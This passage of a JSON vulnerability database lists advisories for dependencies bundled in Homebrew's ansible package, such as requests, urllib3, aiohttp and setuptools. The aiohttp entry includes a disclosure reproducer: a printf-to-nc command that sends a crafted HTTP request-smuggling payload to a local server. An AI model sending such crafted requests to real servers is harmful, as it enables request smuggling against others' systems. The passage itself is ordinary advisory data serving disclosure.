PyUp.io","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3pgj-pg6c-r5p7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-36087"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/2e40b412c844ecc4673c3fa3f72181f228bdbacd"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/blob/2b8a44855a51ad5a5b0c348a08c2564a2e197ea2/oauthlib/uri_validate.py"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/blob/d4bafd9f1d0eba3766e933b1ac598cbbf37b8914/oauthlib/oauth2/rfc6749/grant_types/base.py#L232"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v3.2.1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2022-269.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LXOPIA6M57CFQPUT6HHSNXCTV6QA3UDI"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NBCQJR3ZF7FVNTJYRVPVSQEQRAYZIUHU"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QRYLYHE5HWF6R2CRLJFUK4PILR47WXOE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X2CQZM5CKOUM4GW2GTAPQEQFPITQ6F7S"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-3697","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2022-3697","GHSA-cpx3-93w7-457x","PYSEC-2026-768"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"7.0.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible in the amazon.aws collection when using the tower_callback parameter from the amazon.aws.ec2_instance module. This flaw allows an attacker to take advantage of this issue as the module is handling the parameter insecurely, leading to the password leaking in the logs.","references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/3xxx/CVE-2022-3697.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-3697"},{"type":"FIX","url":"https://github.com/ansible-collections/amazon.aws/pull/1199"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-40896","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-mrwq-x4v8-fh7p","CVE-2022-40896","PYSEC-2023-117"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.15.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Pygments vulnerable to ReDoS","details":"A ReDoS issue was discovered in `pygments/lexers/smithy.py` in Pygments until 2.15.0 via SmithyLexer.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40896"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/97eb3d5ec7c1b3ea4fcf9dee30a2309cf92bd194"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/dd52102c38ebe78cd57748e09f38929fd283ad04"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/fdf182a7af85b1deeeb637ca970d31935e7c9d52"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/blob/master/pygments/lexers/smithy.py#L61"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pygments/PYSEC-2023-117.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EZGMXALE3HSP4OXC7UUWIKX3OXKZDTY3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VUZO4BQCIY2S2KZYHERQMKURB7AHXDBO"},{"type":"WEB","url":"https://pypi.org/project/Pygments"},{"type":"WEB","url":"https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages-part-2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-40897","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-r9hx-vwmv-q579","BIT-setuptools-2022-40897","CVE-2022-40897","PYSEC-2022-43012"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"65.5.1","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.0.0","key":"pkg:pypi/setuptools@84.0.0","resource":"setuptools"}]},"summary":"pypa/setuptools vulnerable to Regular Expression Denial of Service (ReDoS)","details":"Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in `package_index`. This has been patched in version 65.5.1.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40897"},{"type":"WEB","url":"https://github.com/pypa/setuptools/issues/3659"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/43a9c9bfa6aa626ec2a22540bea28d2ca77964be"},{"type":"WEB","url":"https://setuptools.pypa.io/en/latest"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240621-0006"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20230214-0001"},{"type":"WEB","url":"https://pyup.io/vulnerabilities/CVE-2022-40897/52495"},{"type":"WEB","url":"https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YNA2BAH2ACBZ4TVJZKFLCR7L23BG5C3H"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ADES3NLOE5QJKBLGNZNI2RGVOSQXA37R"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00018.html"},{"type":"WEB","url":"https://github.com/pypa/setuptools/compare/v65.5.0...v65.5.1"},{"type":"WEB","url":"https://github.com/pypa/setuptools/blob/fe8a98e696241487ba6ac9f91faa38ade939ec5d/setuptools/package_index.py#L200"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2022-43012.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-26302","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jrwr-5x3p-hvc3","CVE-2023-26302","PYSEC-2023-23"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0","resource":"markdown-it-py","resource_purl":"pkg:pypi/markdown-it-py@4.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"markdown-it-py","subject_version":"4.2.0","key":"pkg:pypi/markdown-it-py@4.2.0","resource":"markdown-it-py"}]},"summary":"markdown-it-py Denial of Service vulnerability in the command line interface","details":"Denial of service could be caused to the command line interface of markdown-it-py, before v2.2.0, if an attacker was allowed to use invalid UTF-8 characters as input.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26302"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/pull/247"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/commit/53ca3e9c2b9e9b295f6abf7f4ad2730a9b70f68c"},{"type":"PACKAGE","url":"https://github.com/executablebooks/markdown-it-py"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/releases/tag/v2.2.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/markdown-it-py/PYSEC-2023-23.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-26303","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-vrjv-mxr7-vjf8","CVE-2023-26303","PYSEC-2023-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0","resource":"markdown-it-py","resource_purl":"pkg:pypi/markdown-it-py@4.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"markdown-it-py","subject_version":"4.2.0","key":"pkg:pypi/markdown-it-py@4.2.0","resource":"markdown-it-py"}]},"summary":"markdown-it-py Denial of Service vulnerability","details":"Denial of service could be caused to markdown-it-py, before v2.2.0, if an attacker was allowed to force null assertions with specially crafted input.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26303"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/pull/246"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/commit/53ca3e9c2b9e9b295f6abf7f4ad2730a9b70f68c"},{"type":"WEB","url":"https://github.com/executablebooks/markdown-it-py/commit/ae03c6107dfa18e648f6fdd1280f5b89092d5d49"},{"type":"PACKAGE","url":"https://github.com/executablebooks/markdown-it-py"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/markdown-it-py/PYSEC-2023-24.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-29483","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-3rq5-2g8h-59hc","CVE-2023-29483","PYSEC-2026-1307","PYSEC-2026-2472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.8.0","key":"pkg:pypi/dnspython@2.8.0","resource":"dnspython"}]},"summary":"Potential DoS via the Tudoor mechanism in eventlet and dnspython","details":"eventlet before 0.35.2, as used in dnspython before 2.6.0, allows remote attackers to interfere with DNS name resolution by quickly sending an invalid packet from the expected IP address and source port, aka a \"TuDoor\" attack. In other words, dnspython does not have the preferred behavior in which the DNS name resolution algorithm would proceed, within the full time window, in order to wait for a valid packet. NOTE: dnspython 2.6.0 is unusable for a different reason that was addressed in 2.6.1.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-29483"},{"type":"WEB","url":"https://github.com/eventlet/eventlet/issues/913"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/issues/1045"},{"type":"WEB","url":"https://github.com/eventlet/eventlet/commit/51e3c4928d4938beb576eff34f3bf97e6e64e6b4"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/0ea5ad0a4583e1f519b9bcc67cfac381230d9cf2"},{"type":"PACKAGE","url":"https://github.com/eventlet/eventlet"},{"type":"WEB","url":"https://github.com/eventlet/eventlet/releases/tag/v0.35.2"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.6.0"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NLRKR57IFVKQC2GCXZBFLCLBAWBWL3F6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VOHJOO3OM65UIUUUVDEXMCTXNM6LXZEH"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/X3BNSIK5NFYSAP53Y45GOCMOQHHDLGIF"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240510-0001"},{"type":"WEB","url":"https://security.snyk.io/vuln/SNYK-PYTHON-DNSPYTHON-6241713"},{"type":"WEB","url":"https://www.dnspython.org"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-32681","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-j8r2-6x86-q33q","CVE-2023-32681","PYSEC-2023-74"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.31.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Unintended leak of Proxy-Authorization header in requests","details":"### Impact\n\nSince Requests v2.3.0, Requests has been vulnerable to potentially leaking `Proxy-Authorization` headers to destination servers, specifically during redirects to an HTTPS origin. This is a product of how `rebuild_proxies` is used to recompute and [reattach the `Proxy-Authorization` header](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/sessions.py#L319-L328) to requests when redirected. Note this behavior has _only_ been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. `https://username:password@proxy:8080`).\n\n**Current vulnerable behavior(s):**\n\n1. HTTP → HTTPS: **leak**\n2. HTTPS → HTTP: **no leak**\n3. HTTPS → HTTPS: **leak**\n4. HTTP → HTTP: **no leak**\n\nFor HTTP connections sent through the proxy, the proxy will identify the header in the request itself and remove it prior to forwarding to the destination server. However when sent over HTTPS, the `Proxy-Authorization` header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.\n\nThe reason this currently works for HTTPS connections in Requests is the `Proxy-Authorization` header is also handled by urllib3 with our usage of the ProxyManager in adapters.py with [`proxy_manager_for`](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/adapters.py#L199-L235). This will compute the required proxy headers in `proxy_headers` and pass them to the Proxy Manager, avoiding attaching them directly to the Request object. This will be our preferred option going forward for default usage.\n\n### Patches\nStarting in Requests v2.31.0, Requests will no longer attach this header to redirects with an HTTPS destination. This should have no negative impacts on the default behavior of the library as the proxy credentials are already properly being handled by urllib3's ProxyManager.\n\nFor users with custom adapters, this _may_ be potentially breaking if you were already working around this behavior. The previous functionality of `rebuild_proxies` doesn't make sense in any case, so we would encourage any users impacted to migrate any handling of Proxy-Authorization directly into their custom adapter.\n\n### Workarounds\nFor users who are not able to update Requests immediately, there is one potential workaround.\n\nYou may disable redirects by setting `allow_redirects` to `False` on all calls through Requests top-level APIs. Note that if you're currently relying on redirect behaviors, you will need to capture the 3xx response codes and ensure a new request is made to the redirect destination.\n```\nimport requests\nr = requests.get('http://github.com/', allow_redirects=False)\n```\n\n### Credits\n\nThis vulnerability was discovered and disclosed by the following individuals.\n\nDennis Brinkrolf, Haxolot (https://haxolot.com/)\nTobias Funke, (tobiasfunke93@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-j8r2-6x86-q33q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-32681"},{"type":"WEB","url":"https://github.com/psf/requests/commit/74ea7cf7a6a27a4eeb2ae24e162bcc942a6706d5"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.31.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2023-74.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/06/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AW7HNFGYP44RT3DUDQXG2QT3OEV2PJ7Y"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KOYASTZDGQG2BWLSNBPL3TQRL2G7QYNZ"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202309-08"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-37276","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-45c4-8wx5-qw6w","CVE-2023-37276","PYSEC-2023-120"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.5","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser","details":"### Impact\n\naiohttp v3.8.4 and earlier are [bundled with llhttp v6.0.6](https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules) which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel.\n\nThis vulnerability only affects users of aiohttp as an HTTP server (ie `aiohttp.Application`), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie `aiohttp.ClientSession`).\n\n### Reproducer\n\n```python\nfrom aiohttp import web\n\nasync def example(request: web.Request):\n headers = dict(request.headers)\n body = await request.content.read()\n return web.Response(text=f\"headers: {headers} body: {body}\")\n\napp = web.Application()\napp.add_routes([web.post('/', example)])\nweb.run_app(app)\n```\n\nSending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.\n\n```console\n$ printf \"POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nX-Abc: \\rxTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nA\\r\\n0\\r\\n\\r\\n\" \\\n | nc localhost 8080\n\nExpected output:\n headers: {'Host': 'localhost:8080', 'X-Abc': '\\rxTransfer-Encoding: chunked'} body: b''\n\nActual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently)\n headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'\n```\n\n### Patches\n\nUpgrade to the latest version of aiohttp to resolve this vulnerability. It has been fixed in v3.8.5: [`pip install aiohttp >= 3.8.5`](https://pypi.org/project/aiohttp/3.8.5/)\n\n### Workarounds\n\nIf you aren't able to upgrade you can reinstall aiohttp using `AIOHTTP_NO_EXTENSIONS=1` as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:\n\n```console\n$ python -m pip uninstall --yes aiohttp\n$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp\n```\n\n### References\n\n* https://nvd.nist.gov/vuln/detail/CVE-2023-30589\n* https://hackerone.com/reports/2001873\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-45c4-8wx5-qw6w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-37276"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9337fb3f2ab2b5f38d7e98a194bde6f7e3d16c40"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9c13a52c21c23dfdb49ed89418d28a5b116d0681"},{"type":"WEB","url":"https://hackerone.com/reports/2001873"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/v3.8.4/.gitmodules"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-120.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-4237","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-ww3m-ffrm-qvqv","CVE-2023-4237","PYSEC-2026-1125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.4","key":"pkg:pypi/ansible-core@2.21.4","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible may expose private key","details":"A flaw was found in the Ansible Automation Platform. When creating a new keypair, the ec2_key module prints out the private key directly to the standard output. This flaw allows an attacker to fetch those keys from the log files, compromising the system's confidentiality, integrity, and availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-4237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5653"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2023:5666"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-4237"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2229979"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-43804","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-v845-jxx5-vc9f","CVE-2023-43804","PYSEC-2023-192"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.6","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"`Cookie` HTTP header isn't stripped on cross-origin redirects","details":"urllib3 doesn't treat the `Cookie` HTTP header special or provide any helpers for managing cookies over HTTP, that is the responsibility of the user. However, it is possible for a user to specify a `Cookie` header and unknowingly leak information via HTTP redirects to a different origin if that user doesn't disable redirects explicitly.\n\nUsers **must** handle redirects themselves instead of relying on urllib3's automatic redirects to achieve safe processing of the `Cookie` header, thus we decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Using an affected version of urllib3 (patched in v1.26.17 and v2.0.6)\n* Using the `Cookie` header on requests, which is mostly typical for impersonating a browser.\n* Not disabling HTTP redirects\n* Either not using HTTPS or for the origin server to redirect to a malicious origin.\n\n## Remediation\n\n* Upgrading to at least urllib3 v1.26.17 or v2.0.6\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Cookie` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-v845-jxx5-vc9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-43804"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/01220354d389cd05474713f8c982d05c9b17aafb"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/644124ecd0b6e417c527191f866daa05a5a2056d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-192.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I3PR7C6RJ6JUBQKIJ644DMIJSUP36VDY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NDAGZXYJ7H2G3SB47M453V